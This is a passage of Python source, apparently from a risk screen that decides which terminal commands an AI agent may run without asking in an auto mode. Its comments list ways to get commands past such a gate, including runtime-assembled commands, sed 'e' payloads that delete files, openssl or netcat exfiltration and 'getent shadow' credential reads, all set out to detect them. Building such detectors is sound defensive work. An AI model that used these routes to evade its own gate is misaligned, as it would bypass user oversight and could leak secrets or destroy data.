|
_NETWORK_CLIENT_AT_CMD_RE = re.compile(
|
|
r"(?:^|[;&|\n(]|&&|\|\|)\s*(?:[A-Za-z_]\w*=\S*\s+)*"
|
|
r"(?:nc|ncat|netcat|telnet|socat|ssh|slogin|scp|sftp)\b"
|
|
)
|
|
# openssl's s_client/s_server open a TLS socket, the classic no-curl exfil channel
|
|
# (tar czf - . | openssl s_client -connect host:443). Plain openssl (dgst, enc) is
|
|
# local and stays out. Matched on the resolved command segment, so the wrapped
|
|
# forms (env openssl s_client) are seen too.
|
|
_OPENSSL_NETWORK_SUBCOMMANDS = frozenset({"s_client", "s_server"})
|
|
# `getent shadow` returns password hashes straight from NSS, so the read
|
|
# never spells out /etc/shadow for the path check to find.
|
|
_GETENT_CREDENTIAL_DATABASES = frozenset({"shadow", "gshadow"})
|
|
_OPENSSL_NETWORK_RE = re.compile(
|
|
r"(?:^|[;&|\n(]|&&|\|\|)\s*(?:[A-Za-z_]\w*=\S*\s+)*(?:\S*/)?openssl\s+s_(?:client|server)\b"
|
|
)
|
|
# An array expansion (${x[*]}, ${x[@]}) builds a command from elements the static
|
|
# scan cannot resolve; fed to a shell -c/eval it runs an unscreened payload.
|
|
# Paired with the var-executed-as-command test so `echo "${a[@]}"` is left alone.
|
|
_ARRAY_EXPANSION_RE = re.compile(r"\$\{\w+\[[@*]\]\}")
|
|
# A wrapper's bare duration/count argument (timeout 5 rm, timeout 1.5s rm) that
|
|
# precedes the real command, so it is not mistaken for the command itself.
|
|
_WRAPPER_DURATION_RE = re.compile(r"\d+(?:\.\d+)?[smhd]?$")
|
|
# Non-shell interpreters running an inline program (python -c, node -e, php -r):
|
|
# the terminal path never screens that program the way the python tool does.
|
|
# sh/bash -c are omitted, the hard-block already recurses into their payloads.
|
|
_INLINE_CODE_INTERPRETERS = frozenset(
|
|
{
|
|
"python",
|
|
"python2",
|
|
"python3",
|
|
"pypy",
|
|
"pypy3",
|
|
"node",
|
|
"nodejs",
|
|
"deno",
|
|
"bun",
|
|
"ruby",
|
|
"perl",
|
|
"php",
|
|
}
|
|
)
|
|
_INLINE_CODE_FLAGS = frozenset({"-c", "-e", "-E", "-r", "--eval", "--exec"})
|
|
# Inline-code flags are per-interpreter: a flag that evaluates code for one runtime
|
|
# is an ordinary option for another (`python -E` ignores PYTHON* env, it is not
|
|
# eval). Value is (exact flags, short letters that may appear in a cluster).
|
|
_INLINE_CODE_FLAG_SPEC = {
|
|
"python": (frozenset({"-c"}), "c"),
|
|
"pypy": (frozenset({"-c"}), "c"),
|
|
"node": (frozenset({"-e", "--eval"}), "e"),
|
|
"nodejs": (frozenset({"-e", "--eval"}), "e"),
|
|
"deno": (frozenset({"-e", "--eval"}), "e"),
|
|
"bun": (frozenset({"-e", "--eval"}), "e"),
|
|
"ruby": (frozenset({"-e"}), "e"),
|
|
# perl -e and -E both run a one-liner (-E also enables feature bundles).
|
|
"perl": (frozenset({"-e", "-E"}), "eE"),
|
|
# php -r runs code; -B / -R / -E run begin / per-line / end code.
|
|
"php": (frozenset({"-r", "-B", "-R", "-E"}), "rBRE"),
|
|
}
|
|
|
|
|
|
def _inline_code_flag_spec(name: str):
|
|
"""(exact flags, short-cluster letters) that make `name` run inline code."""
|
|
base = name
|
|
if _VERSIONED_INTERPRETER_RE.match(base):
|
|
base = re.sub(r"\d+(?:\.\d+)*$", "", base)
|
|
else:
|
|
base = re.sub(r"^(python|pypy)[23]$", r"\1", base)
|
|
return _INLINE_CODE_FLAG_SPEC.get(base)
|
|
|
|
|
|
# node/bun evaluate and print the argument to -p / --print, arbitrary code just
|
|
# like -e/--eval. Scoped to the JS runtimes: -p is a print-loop switch for
|
|
# perl/ruby/sed, not inline eval.
|
|
_NODE_PRINT_INTERPRETERS = frozenset({"node", "nodejs", "bun"})
|
|
# Runtimes that expose inline evaluation as a SUBCOMMAND (deno eval "...",
|
|
# bun eval "..."), which the flag scan above never sees.
|
|
_EVAL_SUBCOMMAND_INTERPRETERS = frozenset({"deno", "bun"})
|
|
_NODE_PRINT_FLAGS = frozenset({"-p", "--print"})
|
|
# Windows cmd.exe runs the rest of the line as a nested command after /c (or /k),
|
|
# so the payload is screened recursively like a shell -c payload. cmd is not in
|
|
# the hard-block set, and del/erase/rd were added to the high-risk set for it.
|
|
_CMD_SHELLS = frozenset({"cmd"})
|
|
# PowerShell runs an arbitrary inline program passed to -Command /
|
|
# -EncodedCommand (and their unambiguous prefixes), which the terminal path cannot
|
|
# parse. On Windows both names are hard-blocked; elsewhere pwsh is not, so gate an
|
|
# inline-command invocation there. A bare `pwsh script.ps1` file run stays out.
|
|
_POWERSHELL_INTERPRETERS = frozenset({"powershell", "pwsh"})
|
|
# Versioned interpreter binaries (python3.11, python2.7, pypy3.10) are the same
|
|
# inline-code risk as their unversioned names, so recognise the version suffix.
|
|
_VERSIONED_INTERPRETER_RE = re.compile(r"^(?:python|pypy|perl|ruby|php|node)\d+(?:\.\d+)*$")
|
|
# busybox / toybox dispatch to an applet given as the first argument, so the
|
|
# applet, not the multicall binary, is the command whose risk is judged.
|
|
_MULTICALL_BINARIES = frozenset({"busybox", "toybox"})
|
|
# `cd /proc/$PPID; cat environ` reads a sensitive path after the chdir even though
|
|
# no single token spells it out, so a chdir into a sensitive dir is gated.
|
|
_CHDIR_COMMANDS = frozenset({"cd", "pushd", "chdir"})
|
|
# The absolute system dirs are anchored so an unrelated user dir (/home/x/etc)
|
|
# does not match; the credential dotfile dirs match anywhere in the path.
|
|
_SENSITIVE_CHDIR_RE = re.compile(
|
|
r"^~?/proc/[^/\s'\"]+"
|
|
r"|^~?/etc(?:/|$)"
|
|
r"|^~?/root(?:/|$)"
|
|
r"|^~?/(?:var/)?run/secrets(?:/|$)"
|
|
r"|(?:^|[/\\])\.(?:ssh|aws|azure|gnupg|docker|kube)(?:[/\\]|$)"
|
|
r"|(?:^|[/\\])\.config[/\\](?:gcloud|gh)(?:[/\\]|$)",
|
|
re.IGNORECASE,
|
|
)
|
|
|
|
|
|
def _is_inline_code_interpreter(name: str) -> bool:
|
|
"""True for an interpreter whose ``-c`` / ``-e`` runs an inline program the
|
|
terminal path never screens, including versioned python/pypy binaries."""
|
|
return name in _INLINE_CODE_INTERPRETERS or bool(_VERSIONED_INTERPRETER_RE.match(name))
|
|
|
|
|
|
def _short_flag_cluster(token: str) -> "list[str]":
|
|
"""Split a combined short-option token into its individual flags
|
|
(`-qf` -> ['-q', '-f']). A long option, a `-x=value` form or a bare `-`
|
|
yields nothing, so only genuine clusters are expanded."""
|
|
if len(token) < 3 or not token.startswith("-") or token.startswith("--") or "=" in token:
|
|
return []
|
|
return ["-" + ch for ch in token[1:]]
|
|
|
|
|
|
def _short_flag_arg(token: str, letters: str) -> "str | None":
|
|
"""For a short-flag cluster (``-lc``, ``-Bc``, ``-c``), if one of ``letters``
|
|
appears as a flag in it, return the text glued after that letter -- ``""`` when
|
|
the value is the next token, or the attached payload for ``-c'cmd'``. ``None``
|
|
when no such flag is present, or for long options / non-flags. Catches combined
|
|
forms (``bash -lc 'git clean'``) an exact ``-c`` match would miss."""
|
|
if not token.startswith("-") or token.startswith("--"):
|
|
return None
|
|
body = token[1:]
|
|
for i, ch in enumerate(body):
|
|
if ch in letters:
|
|
return body[i + 1 :]
|
|
return None
|
|
|
|
|
|
def _shell_quote_states(command: str) -> "list[str]":
|
|
"""The quote context of every character: ``""`` outside quoting, ``"'"``
|
|
(or ``"$'"`` for ANSI-C, which honours backslash escapes) inside single
|
|
quoting, ``'"'`` inside double quoting, and ``_ESCAPED_CHAR_STATE`` for a
|
|
backslash and the character it quotes. A quote mark itself reports the
|
|
context it opens from, so a character is text bash expands exactly when its
|
|
state is ``""`` or ``'"'``.
|
|
|
|
Tracked character by character rather than paired off with a regex, because
|
|
a regex matches the apostrophe in `echo "it's"` against the next quote,
|
|
inverting the state for everything after it.
|
|
"""
|
|
states: "list[str]" = []
|
|
quote = ""
|
|
i, n = 0, len(command)
|
|
while i < n:
|
|
ch = command[i]
|
|
if quote in ("'", "$'"):
|
|
# A plain single quote protects even backslashes; ANSI-C does not,
|
|
# so `\'` there is a quote character rather than the end of the word.
|
|
if quote == "$'" and ch == "\\" and i + 1 < n:
|
|
states += [quote, quote]
|
|
i += 2
|
|
continue
|
|
states.append(quote)
|
|
if ch == "'":
|
|
quote = ""
|
|
i += 1
|
|
continue
|
|
if ch == "\\" and i + 1 < n:
|
|
# Reported under its OWN state rather than the surrounding one:
|
|
# marking `\$` as ordinary double-quoted text made `$(` there look
|
|
# like a live substitution, so an everyday `sed "s/\$(CC)/gcc/"
|
|
# Makefile` asked for confirmation while real bash hands sed a
|
|
# literal `$(CC)` and nothing runs (verified: it prints CC=cc).
|
|
states += [_ESCAPED_CHAR_STATE, _ESCAPED_CHAR_STATE]
|
|
i += 2
|
|
continue
|
|
states.append(quote)
|
|
if quote == '"':
|
|
# Only the closing quote ends it; an apostrophe here is text.
|
|
if ch == '"':
|
|
quote = ""
|
|
elif ch == "'":
|
|
quote = "$'" if i and command[i - 1] == "$" else "'"
|
|
elif ch == '"':
|
|
quote = '"'
|
|
i += 1
|
|
return states
|
|
|
|
|
|
def _substitution_span(command: str, start: int) -> int:
|
|
"""Index just past the `)` that closes the `$(` at ``start``.
|
|
|
|
The body of a substitution is a FRESH shell context -- bash re-parses it, so
|
|
quoting reopens inside even when the whole thing sits in double quotes --
|
|
and a paren the body QUOTES is text, not nesting. Counting it raised the
|
|
depth, the real `)` then never brought the depth back to zero, and the span
|
|
ran on past the end of the word: `sed "$(printf '(' >/dev/null; printf 'e
|
|
rm -f victim')" input` yielded a span with ` input` glued on, which no
|
|
longer matched the sed program it had to be found inside, so the generated
|
|
script went unnoticed.
|
|
|
|
_shell_quote_states is a left-to-right machine, so the states it reports for
|
|
a prefix are the ones it reports for the whole string; the window is grown
|
|
until the span closes, which keeps the cost a constant multiple of the
|
|
substitution's own length rather than a walk to the end of the line for
|
|
every one of them.
|
|
"""
|
|
n = len(command)
|
|
width = _SUBSTITUTION_SPAN_STEP
|
|
while True:
|
|
stop = min(n, start + 1 + width)
|
|
body = command[start + 1 : stop]
|
|
depth = 0
|
|
for offset, state in enumerate(_shell_quote_states(body)):
|
|
if state:
|
|
continue # quoted: data to the nested shell, not a delimiter
|
|
char = body[offset]
|
|
if char == "(":
|
|
depth += 1
|
|
elif char == ")":
|
|
depth -= 1
|
|
if depth == 0:
|
|
return start + 2 + offset
|
|
if stop >= n:
|
|
return n
|
|
width *= 4
|
|
|
|
|
|
def _arithmetic_span(command: str, start: int) -> int:
|
|
"""Index just past the `))` / `]` closing the arithmetic expansion at
|
|
``start`` -- `$((...))`, or the deprecated `$[...]` bash 5.2 still
|
|
evaluates (`echo $[1+2]` prints 3)."""
|
|
opener = command[start + 1]
|
|
closer = ")" if opener == "(" else "]"
|
|
depth, i, n = 0, start + 1, len(command)
|
|
while i < n:
|
|
if command[i] == opener:
|
|
depth += 1
|
|
elif command[i] == closer:
|
|
depth -= 1
|
|
if depth == 0:
|
|
return i + 1
|
|
i += 1
|
|
return n
|
|
|
|
|
|
def _brace_param_span(command: str, start: int) -> int:
|
|
"""Index just past the `}` closing the `${` at ``start``. Braces nest
|
|
(`${a:-${b}}`) and a backslash quotes the one behind it."""
|
|
depth, i, n = 0, start + 1, len(command)
|
|
while i < n:
|
|
if command[i] == "\\":
|
|
i += 2
|
|
continue
|
|
if command[i] == "{":
|
|
depth += 1
|
|
elif command[i] == "}":
|
|
depth -= 1
|
|
if depth == 0:
|
|
return i + 1
|
|
i += 1
|
|
return n
|
|
|
|
|
|
def _collapse_shell_arithmetic(program: str) -> str:
|
|
"""``program`` with each arithmetic expansion replaced by a digit
|
|
(_ARITHMETIC_VALUE), which is a faithful stand-in because arithmetic always
|
|
evaluates to an integer.
|
|
|
|
Without it the expansion's own punctuation is read as sed source and hides
|
|
the command behind it: `sed "$((c+1))e rm -f victim"` runs rm for real
|
|
(`$((c+1))` is 1), while the raw text takes the `c` for an append-text
|
|
command and swallows the payload as its operand. An expansion holding a
|
|
COMMAND substitution is left alone, so the substitution stays visible to
|
|
_sed_program_unresolved rather than being collapsed out of sight.
|
|
"""
|
|
out: "list[str]" = []
|
|
i, n = 0, len(program)
|
|
while i < n:
|
|
if program.startswith("$((", i) or program.startswith("$[", i):
|
|
end = _arithmetic_span(program, i)
|
|
if not _HAS_COMMAND_SUBST_RE.search(program[i:end]):
|
|
out.append(_ARITHMETIC_VALUE)
|
|
i = end
|
|
continue
|
|
out.append(program[i])
|
|
i += 1
|
|
return "".join(out)
|
|
|
|
|
|
def _shell_expansions(command: str, quoted: bool = True) -> "list[str]":
|
|
"""Every expansion bash performs, as the exact text each one occupies:
|
|
`$(...)`, backticks, `${...}` in ANY form and a bare `$NAME` / `$?`.
|
|
|
|
With ``quoted`` (the default) the text is a whole command line, so a
|
|
single-quoted or backslash-escaped expansion is literal and reported as
|
|
nothing -- ``sed 's/`//g' NOTES.md`` and `sed "s/\\$(CC)/gcc/" Makefile`
|
|
both yield an empty list. With ``quoted`` False the text is a token shlex
|
|
has already unquoted, where every character counts; comparing the two tells
|
|
an expansion the shell RUNS from one a sed program merely quotes.
|
|
|
|
ARITHMETIC is skipped: it evaluates to an integer, so it can spell no sed
|
|
command (_ARITHMETIC_VALUE). One holding a command substitution is stepped
|
|
INTO instead, so the substitution inside `sed "$(( $(cat n) ))p"` is still
|
|
reported.
|
|
"""
|
|
found: "list[str]" = []
|
|
states = _shell_quote_states(command) if quoted else None
|
|
i, n = 0, len(command)
|
|
while i < n:
|
|
if states is not None and states[i] not in ("", '"'):
|
|
i += 1
|
|
continue
|
|
if command[i] == "`":
|
|
end = command.find("`", i + 1)
|
|
end = n if end < 0 else end + 1
|
|
found.append(command[i:end])
|
|
i = end
|
|
continue
|
|
if command.startswith("$((", i) or command.startswith("$[", i):
|
|
end = _arithmetic_span(command, i)
|
|
# Stepping over the `$` alone would report the arithmetic's own
|
|
# `(name)` as a substitution; stepping over the whole span would
|
|
# hide a `$(...)` nested inside it. Do each where it applies.
|
|
i = i + 2 if _HAS_COMMAND_SUBST_RE.search(command[i:end]) else end
|
|
continue
|
|
if command.startswith("$(", i):
|
|
end = _substitution_span(command, i)
|
|
found.append(command[i:end])
|
|
i = end
|
|
continue
|
|
if command.startswith("${", i):
|
|
end = _brace_param_span(command, i)
|
|
found.append(command[i:end])
|
|
i = end
|
|
continue
|
|
match = _UNBRACED_PARAM_RE.match(command, i)
|
|
if match:
|
|
found.append(match.group(0))
|
|
i = match.end()
|
|
continue
|
|
i += 1
|
|
return found
|
|
|
|
|
|
def _separate_unquoted_newlines(text: str) -> str:
|
|
"""``text`` with each UNQUOTED newline replaced by `;`, which shlex reads as
|
|
a command boundary. A newline inside quotes is DATA -- a sed comment ends at
|
|
one -- so it survives, unlike a blanket replacement. A BACKSLASH-escaped
|
|
newline is a line continuation bash deletes rather than a separator, so it
|
|
survives too; the blanket pass still supplies that boundary if one is
|
|
wanted, since it replaces every newline unconditionally."""
|
|
states = _shell_quote_states(text)
|
|
out = []
|
|
for i, ch in enumerate(text):
|
|
if ch in "\r\n" and states[i] == "":
|
|
# \r\n is one boundary, not two.
|
|
if not (ch == "\n" and i and text[i - 1] == "\r"):
|
|
out.append(";")
|
|
else:
|
|
out.append(ch)
|
|
return "".join(out)
|
|
|
|
|
|
# git subcommands that discard or overwrite work: `clean` deletes untracked files,
|
|
# `restore` overwrites the worktree from the index/HEAD, `rm` deletes tracked
|
|
# files, and the plumbing entries delete refs/reflogs/objects or rewrite history.
|
|
# `reset`/`push`/`checkout` only qualify with a destructive flag or pathspec, so
|
|
# `git reset --soft`, a plain `git push` and ordinary git (add/commit/log) run.
|
|
_HIGH_RISK_GIT_SUBCOMMANDS = frozenset(
|
|
{"clean", "restore", "rm", "update-ref", "filter-branch", "prune", "gc", "reflog"}
|
|
)
|
|
_HIGH_RISK_GIT_RESET_FLAGS = frozenset({"--hard"})
|
|
_HIGH_RISK_GIT_PUSH_FLAGS = frozenset(
|
|
# --delete/-d removes a remote ref; --mirror and --prune delete remote refs
|
|
# that are absent locally. All are remote data loss, like a force push.
|
|
{"-f", "--force", "--force-with-lease", "-d", "--delete", "--mirror", "--prune"}
|
|
)
|
|
# `git worktree remove --force` deletes a linked worktree even when it holds
|
|
# uncommitted work or is locked. An unforced remove refuses on a dirty worktree,
|
|
# so it stays out.
|
|
_HIGH_RISK_GIT_WORKTREE_FLAGS = frozenset({"-f", "--force"})
|
|
# `git switch -f/--discard-changes` throws away tracked working-tree edits.
|
|
_HIGH_RISK_GIT_SWITCH_FLAGS = frozenset({"-C", "-f", "--force", "--discard-changes"})
|
|
# `git branch -D` force-deletes a branch, discarding unmerged commits; -M
|
|
# force-renames over an existing branch. Plain -d/--delete refuses to drop
|
|
# unmerged work, so it stays out.
|
|
_HIGH_RISK_GIT_BRANCH_FLAGS = frozenset({"-D", "-M", "-f", "--force"})
|
|
# `git stash clear` / `drop` destroy stashed work with no reflog to recover it.
|
|
_HIGH_RISK_GIT_STASH_ACTIONS = frozenset({"clear", "drop"})
|
|
# `git checkout -- <path>` / `git checkout .` / `git checkout -f` discard tracked
|
|
# working-tree changes; a bare `git checkout <branch>` (switching) does not.
|
|
_HIGH_RISK_GIT_CHECKOUT_FLAGS = frozenset({"-f", "--force", "-B"})
|
|
# `git checkout-index -f` overwrites working-tree files from the index.
|
|
_HIGH_RISK_GIT_CHECKOUT_INDEX_FLAGS = frozenset({"-f", "--force"})
|
|
# `git tag -d` deletes a ref; `git tag -f` replaces one that already exists.
|
|
_HIGH_RISK_GIT_TAG_FLAGS = frozenset({"-d", "--delete", "-f", "--force"})
|
|
# `git -c alias.NAME=PAYLOAD` defines an alias git then runs; a leading `!` makes
|
|
# the payload a shell command.
|
|
_GIT_ALIAS_ASSIGN_RE = re.compile(r"^alias\.[^=]+=(.*)$", re.DOTALL)
|
|
# `git --config-env=alias.n=VAR n` names an environment variable whose value
|
|
# becomes the alias body, so the code is never present in the command text.
|
|
_GIT_CONFIG_ENV_ALIAS_RE = re.compile(r"(?:^|=)alias\.", re.IGNORECASE)
|
|
# git global options taking a separate value token (git -C repo clean); the value
|
|
# must be consumed so it is not mistaken for the subcommand.
|
|
_GIT_GLOBAL_VALUE_FLAGS = frozenset(
|
|
{"-C", "-c", "--git-dir", "--work-tree", "--namespace", "--exec-path", "--config-env"}
|
|
)
|
|
# Shells whose `-c PAYLOAD` runs an inline program: the payload is recursively
|
|
# screened, so a high-risk command wrapped in `bash -c '...'` is still caught. The
|
|
# hard-block only recurses for its own smaller command set.
|
|
_SHELL_C_INTERPRETERS = frozenset({"sh", "bash", "zsh", "dash", "ksh", "fish", "ash"})
|
|
# A command synthesized by a command substitution at command position
|
|
# ($(printf rm) -rf build) cannot be read statically. A substitution in argument
|
|
# position (echo $(date), make $(FILES)) is left alone.
|
|
_COMMAND_SUBST_AT_CMD_RE = re.compile(
|
|
r"(?:^|[;&|\n(]|&&|\|\|)\s*(?:[A-Za-z_]\w*=[^\s;&|()]*\s+)*(?:\$\(|`)"
|
|
)
|
|
|
|
# A command substitution appearing anywhere ($(...) that is not arithmetic
|
|
# $((...)), or a backtick). Used to catch a substitution stashed in a variable
|
|
# (x=`...`) that a later dynamic exec runs, which never surfaces as literal text.
|
|
_HAS_COMMAND_SUBST_RE = re.compile(r"\$\((?!\()|`")
|
|
# The same as below, but only when the expansion is the WHOLE command word. A
|
|
# variable used as a path prefix (${VENV}/bin/python) still leaves a literal
|
|
# basename the scan can screen, so it is not unresolvable.
|
|
_BARE_VAR_AS_COMMAND_RE = re.compile(
|
|
r"(?:^|[;&|\n(]|&&|\|\|)\s*(?:[A-Za-z_]\w*=\S*\s+)*\$\{?\w+\}?(?=\s|$)"
|
|
)
|
|
# A variable expansion executed as a command: $VAR at command position, or a shell
|
|
# `-c` / eval whose payload contains a `$` expansion. Paired with
|
|
# _HAS_COMMAND_SUBST_RE this flags `x=`printf 'git clean -fd'`; bash -c "$x"`,
|
|
# assembled at runtime and so unscreenable statically.
|
|
_VAR_EXECUTED_AS_COMMAND_RE = re.compile(
|
|
r"(?:^|[;&|\n(]|&&|\|\|)\s*(?:[A-Za-z_]\w*=\S*\s+)*\$\{?\w"
|
|
r"|\b(?:sh|bash|zsh|dash|ksh|ash)\b[^\n]*?\s-c\b[^\n]*\$"
|
|
r"|\beval\b[^\n]*\$"
|
|
)
|
|
|
|
|
|
_SHELL_SEGMENT_SPLIT_RE = re.compile(r"^(?:;|&&|\|\||\||&)$")
|
|
|
|
|
|
# Wrappers that may sit in front of a network client without changing what it
|
|
# does, so the client is still at command position behind them.
|
|
_CLIENT_WRAPPERS = frozenset(
|
|
{"env", "command", "timeout", "nohup", "nice", "ionice", "stdbuf", "setsid", "exec"}
|
|
)
|
|
_CLIENT_WRAPPER_PREFIX = (
|
|
r"(?:(?:env|command|timeout|nohup|nice|ionice|stdbuf|setsid|exec)\s+"
|
|
r"(?:-\S+\s+|\d+(?:\.\d+)?[smhd]?\s+)*)*"
|
|
)
|
|
# The terminal sandbox shares the backend's installed environment, so removing
|
|
# a package (pip uninstall torch) breaks the running process. Installing does
|
|
# not, and is ordinary work, so only the removal verbs are gated.
|
|
_PKG_REMOVE_AT_CMD_RE = re.compile(
|
|
r"(?:^|[;&|\n(]|&&|\|\|)\s*(?:[A-Za-z_]\w*=\S*\s+)*(?:\S*/)?"
|
|
r"(?:(?:python[0-9.]*\s+-m\s+)?pip[0-9]*|uv\s+pip|pipx|conda|mamba|micromamba)"
|
|
r"\s+(?:uninstall|remove)\b",
|
|
re.IGNORECASE,
|
|
)
|
|
_CURL_AT_CMD_RE = re.compile(
|
|
r"(?:^|[;&|\n(]|&&|\|\|)\s*(?:[A-Za-z_]\w*=\S*\s+)*"
|
|
+ _CLIENT_WRAPPER_PREFIX
|
|
+ r"(?:\S*/)?curl\b",
|
|
re.IGNORECASE,
|
|
)
|
|
_WGET_AT_CMD_RE = re.compile(
|
|
r"(?:^|[;&|\n(]|&&|\|\|)\s*(?:[A-Za-z_]\w*=\S*\s+)*"
|
|
+ _CLIENT_WRAPPER_PREFIX
|
|
+ r"(?:\S*/)?wget\b",
|
|
re.IGNORECASE,
|
|
)
|
|
|
|
|
|
def _tokens_for_client_segment(tokens: list, has_curl: bool, has_wget: bool):
|
|
"""Tokens of the segments whose command is curl/wget, or None if there is no
|
|
such segment. Keeps an unrelated command's option letters out of the upload
|
|
scan (`ls -T && echo curl`)."""
|
|
segments: list = []
|
|
current: list = []
|
|
for t in tokens:
|
|
if _SHELL_SEGMENT_SPLIT_RE.match(t):
|
|
segments.append(current)
|
|
current = []
|
|
else:
|
|
current.append(t)
|
|
segments.append(current)
|
|
kept: list = []
|
|
for seg in segments:
|
|
# Skip leading NAME=value prefixes to find the command word.
|
|
i = 0
|
|
while i < len(seg) and re.match(r"^[A-Za-z_]\w*=", seg[i]):
|
|
i += 1
|
|
if i >= len(seg):
|
|
continue
|
|
# Step past a wrapper (env curl, timeout 5 curl) to the real client.
|
|
while i < len(seg):
|
|
base = os.path.basename(seg[i].strip(";&|()`{}")).lower()
|
|
if base not in _CLIENT_WRAPPERS:
|
|
break
|
|
i += 1
|
|
while i < len(seg) and (seg[i].startswith("-") or _WRAPPER_DURATION_RE.match(seg[i])):
|
|
i += 1
|
|
if i >= len(seg):
|
|
continue
|
|
base = os.path.basename(seg[i].strip(";&|()`{}")).lower()
|
|
if (has_curl and base == "curl") or (has_wget and base == "wget"):
|
|
kept.extend(seg[i:])
|
|
return kept or None
|
|
|
|
|
|
def _command_is_network_exec_or_exfil(command: str) -> bool:
|
|
"""curl/wget used to run remote code (piped into a shell, or via process
|
|
substitution) or to upload local data. Plain downloads (curl -O, wget URL)
|
|
are ordinary and stay out. Fails closed on an unparseable command."""
|
|
low = command.lower()
|
|
# A non-curl/wget client (nc/ssh/socat) or openssl's TLS socket is a remote
|
|
# reach in its own right, so gate it before the upload-flag logic below.
|
|
if _NETWORK_CLIENT_AT_CMD_RE.search(command) or _OPENSSL_NETWORK_RE.search(low):
|
|
return True
|
|
# A mention in argument position (`grep curl notes.txt`) is not an invocation,
|
|
# and treating it as one lends another command's option letters to the scan.
|
|
has_curl = bool(_CURL_AT_CMD_RE.search(command))
|
|
has_wget = bool(_WGET_AT_CMD_RE.search(command))
|
|
if not has_curl and not has_wget:
|
|
return False
|
|
if _PIPE_TO_INTERPRETER_RE.search(low):
|
|
return True
|
|
if "<(" in command: # bash <(curl ...) process substitution
|
|
return True
|
|
try:
|
|
tokens = shlex.split(command.replace("\n", " "), posix = True)
|
|
except ValueError:
|
|
return True
|
|
# Scope the flag scan to the segment that actually runs curl/wget: a shared
|
|
# option letter from an unrelated command (`ls -T && echo curl`) is not an
|
|
# upload flag.
|
|
tokens = _tokens_for_client_segment(tokens, has_curl, has_wget)
|
|
if tokens is None:
|
|
return False
|
|
method_pending = False
|
|
for t in tokens:
|
|
name = t.split("=", 1)[0]
|
|
# curl -X DELETE / --request PUT mutates a remote resource, not a plain
|
|
# download. Separated, attached (-XDELETE) and --request=DELETE forms.
|
|
if has_curl:
|
|
if method_pending:
|
|
method_pending = False
|
|
if t.lower() in _CURL_DESTRUCTIVE_METHODS:
|
|
return True
|
|
if name in _CURL_METHOD_FLAGS:
|
|
if "=" in t and t.split("=", 1)[1].lower() in _CURL_DESTRUCTIVE_METHODS:
|
|
return True
|
|
method_pending = True
|
|
continue
|
|
if t.startswith("-X") and t[2:].lower() in _CURL_DESTRUCTIVE_METHODS:
|
|
return True
|
|
if has_wget:
|
|
# wget --method=DELETE / --method DELETE is the same remote mutation.
|
|
if method_pending:
|
|
method_pending = False
|
|
if t.lower() in _CURL_DESTRUCTIVE_METHODS:
|
|
return True
|
|
if name in _WGET_METHOD_FLAGS:
|
|
if "=" in t and t.split("=", 1)[1].lower() in _CURL_DESTRUCTIVE_METHODS:
|
|
return True
|
|
method_pending = True
|
|
continue
|
|
if has_curl and (
|
|
name in _CURL_UPLOAD_LONG_FLAGS
|
|
# a curl short upload flag, attached or not (-d@f, -Ffile=@dump.sql)
|
|
or (not name.startswith("--") and name.startswith(_CURL_UPLOAD_SHORT_FLAGS))
|
|
):
|
|
return True
|
|
if has_wget and name in _WGET_UPLOAD_FLAGS:
|
|
return True
|
|
return False
|
|
|
|
|
|
# `git clean -n` / `--dry-run` only lists what would be removed.
|
|
_GIT_CLEAN_DRY_RUN_FLAGS = frozenset({"-n", "--dry-run"})
|
|
|
|
|
|
def _container_subcommand_is_read_only(tokens: list, start: int) -> bool:
|
|
"""Whether a container CLI's first positional is a read subcommand. A bare
|
|
`docker` or `docker --version` prints help and runs nothing."""
|
|
for t in tokens[start + 1 :]:
|
|
if t in _SHELL_SEPARATORS or not set(t) - set(";&|()"):
|
|
break
|
|
if t.startswith("-"):
|
|
continue
|
|
return t.lower() in _CONTAINER_READ_SUBCOMMANDS
|
|
return True
|
|
|
|
|
|
def _segment_has_command_after(tokens: list, start: int) -> bool:
|
|
"""Whether a command word follows an assignment in the same segment. A bare
|
|
`export PATH=...` or `FOO=bar` runs nothing: every terminal call gets its own
|
|
shell process, so an assignment with no command dies with it."""
|
|
for t in tokens[start + 1 :]:
|
|
if t in _SHELL_SEPARATORS or not set(t) - set(";&|()"):
|
|
return False
|
|
if _ASSIGNMENT_RE.match(t) or t.startswith("-"):
|
|
continue
|
|
return True
|
|
return False
|
|
|
|
|
|
def _segment_has_flag(
|
|
tokens: list,
|
|
start: int,
|
|
exact: frozenset,
|
|
letters: str = "",
|
|
) -> bool:
|
|
"""Whether a flag appears in the same command segment as ``start``, so a
|
|
later command's options are not read as this command's."""
|
|
for t in tokens[start + 1 :]:
|
|
if t in _SHELL_SEPARATORS or not set(t) - set(";&|()"):
|
|
break
|
|
if t in exact:
|
|
return True
|
|
if letters and t[:1] == "-" and t[:2] != "--" and "=" not in t:
|
|
if any(ch in letters for ch in t[1:]):
|
|
return True
|
|
return False
|
|
|
|
|
|
def _segment_is_recursive(tokens: list, start: int) -> bool:
|
|
"""Whether a recursive flag (-R / --recursive / an -rf style cluster) belongs
|
|
to the command starting at ``start``: scan only up to the next separator, so
|
|
`grep -R x . && chmod +x f` does not make the chmod look recursive."""
|
|
for t in tokens[start + 1 :]:
|
|
if t in _SHELL_SEPARATORS or not set(t) - set(";&|()"):
|
|
break
|
|
if t in ("-R", "--recursive"):
|
|
return True
|
|
if t[:1] == "-" and t[:2] != "--" and "=" not in t and "R" in t[1:]:
|
|
return True
|
|
return False
|
|
|
|
|
|
def _inline_python_is_high_risk(code: str) -> bool:
|
|
"""Screen a `python -c` payload with the same analyzer the python tool uses,
|
|
so an ordinary one-liner runs and a destructive one still asks. Source that
|
|
does not parse fails closed: shell quoting may have mangled it, leaving
|
|
nothing to screen."""
|
|
try:
|
|
ast.parse(code)
|
|
except SyntaxError:
|
|
return True
|
|
return _python_is_high_risk(code)
|
|
|
|
|
|
def _terminal_is_high_risk(command: str, _depth: int = 0) -> bool:
|
|
"""High-risk terminal command for auto mode: credential/secret access,
|
|
privilege escalation, destructive/persistence changes, or network
|
|
exec/exfil. Ordinary dev commands run without a prompt. Fails closed
|
|
(prompts) on an unparseable command. ``_depth`` bounds the recursion into
|
|
shell ``-c`` payloads."""
|
|
if len(command) > _MAX_TERMINAL_SCAN_CHARS:
|
|
# Far longer than any ordinary command, and screening it is superlinear,
|
|
# so it asks instead.
|
|
return True
|
|
if not command or not command.strip():
|
|
return False
|
|
# A credential/secret path read or write, or a sandbox escape (../), asks.
|
|
if _command_references_sensitive(command):
|
|
return True
|
|
# A bare redirection with no command (`> notes.txt`, `: > notes.txt`) truncates
|
|
